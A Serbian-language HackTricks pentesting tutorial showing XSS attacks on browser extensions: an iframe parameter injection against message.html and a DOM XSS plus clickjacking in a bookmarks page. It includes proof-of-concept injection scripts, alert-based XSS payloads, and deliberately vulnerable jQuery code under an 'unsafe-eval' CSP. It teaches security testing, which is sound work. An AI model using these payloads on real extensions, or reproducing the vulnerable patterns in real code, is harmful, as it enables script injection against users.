hacktricks/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md
2024-02-10 13:11:20 +00:00

7.2 KiB

BrowExt - Primer XSS napad

Naučite kako da hakujete AWS od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini da podržite HackTricks:

Cross-Site Scripting (XSS) putem Iframe-a

U ovom scenariju, content script je implementiran kako bi instancirao Iframe, koji uključuje URL sa upitnim parametrima kao izvor Iframe-a:

chrome.storage.local.get("message", result => {
let constructedURL = chrome.runtime.getURL("message.html") +
"?content=" + encodeURIComponent(result.message) +
"&redirect=https://example.net/details";
frame.src = constructedURL;
});

Javno dostupna HTML stranica, message.html, je dizajnirana da dinamički dodaje sadržaj u tijelo dokumenta na osnovu parametara u URL-u:

$(document).ready(() => {
let urlParams = new URLSearchParams(window.location.search);
let userContent = urlParams.get("content");
$(document.body).html(`${userContent} <button id='detailBtn'>Details</button>`);
$('#detailBtn').on('click', () => {
let destinationURL = urlParams.get("redirect");
chrome.tabs.create({ url: destinationURL });
});
});

Na stranici protivnika izvršava se zlonamerni skript koji menja parametar content izvora Iframe-a kako bi se unela XSS payload. To se postiže ažuriranjem izvora Iframe-a da uključuje štetnu skriptu:

setTimeout(() => {
let targetFrame = document.querySelector("iframe").src;
let baseURL = targetFrame.split('?')[0];
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>";
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`;

document.querySelector("iframe").src = maliciousURL;
}, 1000);

Preterasno dozvoljena politika bezbednosti sadržaja, kao što je:

"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"

omogućava izvršavanje JavaScript-a, čineći sistem podložnim XSS napadima.

Alternativni pristup za izazivanje XSS-a uključuje kreiranje Iframe elementa i postavljanje izvora na uključivanje štetnog skripta kao parametra content:

let newFrame = document.createElement("iframe");
newFrame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>");
document.body.append(newFrame);

DOM-bazirani XSS + ClickJacking

Ovaj primer je preuzet iz originalnog posta.

Osnovni problem proizlazi iz DOM-bazirane ranjivosti Cross-site Scripting (XSS) koja se nalazi u /html/bookmarks.html. Problematicni JavaScript deo, koji je deo bookmarks.js, je detaljno opisan ispod:

$('#btAdd').on('click', function() {
var bookmarkName = $('#txtName').val();
if ($('.custom-button .label').filter(function() {
return $(this).text() === bookmarkName;
}).length) return false;

var bookmarkItem = $('<div class="custom-button">');
bookmarkItem.html('<span class="label">' + bookmarkName + '</span>');
bookmarkItem.append('<button class="remove-btn" title="delete">x</button>');
bookmarkItem.attr('data-title', bookmarkName);
bookmarkItem.data('timestamp', (new Date().getTime()));
$('section.bookmark-container .existing-items').append(bookmarkItem);
persistData();
});

Ovaj odlomak dohvaća vrednost iz polja za unos txtName i koristi spajanje nizova da generiše HTML, koji se zatim dodaje u DOM korišćenjem jQuery-ove funkcije .append().

Uobičajeno, Chrome ekstenzija koristi Content Security Policy (CSP) koja bi sprečila ovakve ranjivosti. Međutim, zbog opuštanja CSP-a sa 'unsafe-eval' i korišćenja jQuery-ovih metoda manipulacije DOM-om (koje koriste globalEval() da bi prosledile skripte funkciji eval() prilikom umetanja u DOM), eksploatacija je i dalje moguća.

Iako je ova ranjivost značajna, njena eksploatacija obično zavisi od interakcije korisnika: poseta stranici, unošenje XSS payloada i aktiviranje dugmeta "Dodaj".

Da bi se ova ranjivost poboljšala, eksploatiše se sekundarna ranjivost clickjacking-a. Manifest Chrome ekstenzije prikazuje opsežnu politiku web_accessible_resources:

"web_accessible_resources": [
"html/bookmarks.html",
"dist/*",
"assets/*",
"font/*",
[...]
],

Posebno, stranica /html/bookmarks.html je podložna framingu, te je ranjiva na clickjacking. Ova ranjivost se koristi za framing stranice unutar sajta napadača, prekrivajući je DOM elementima kako bi se prevarantski redizajnirao interfejs. Ova manipulacija navodi žrtve da nenamerno interaguju sa podrazumevanim proširenjem.

Reference

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u: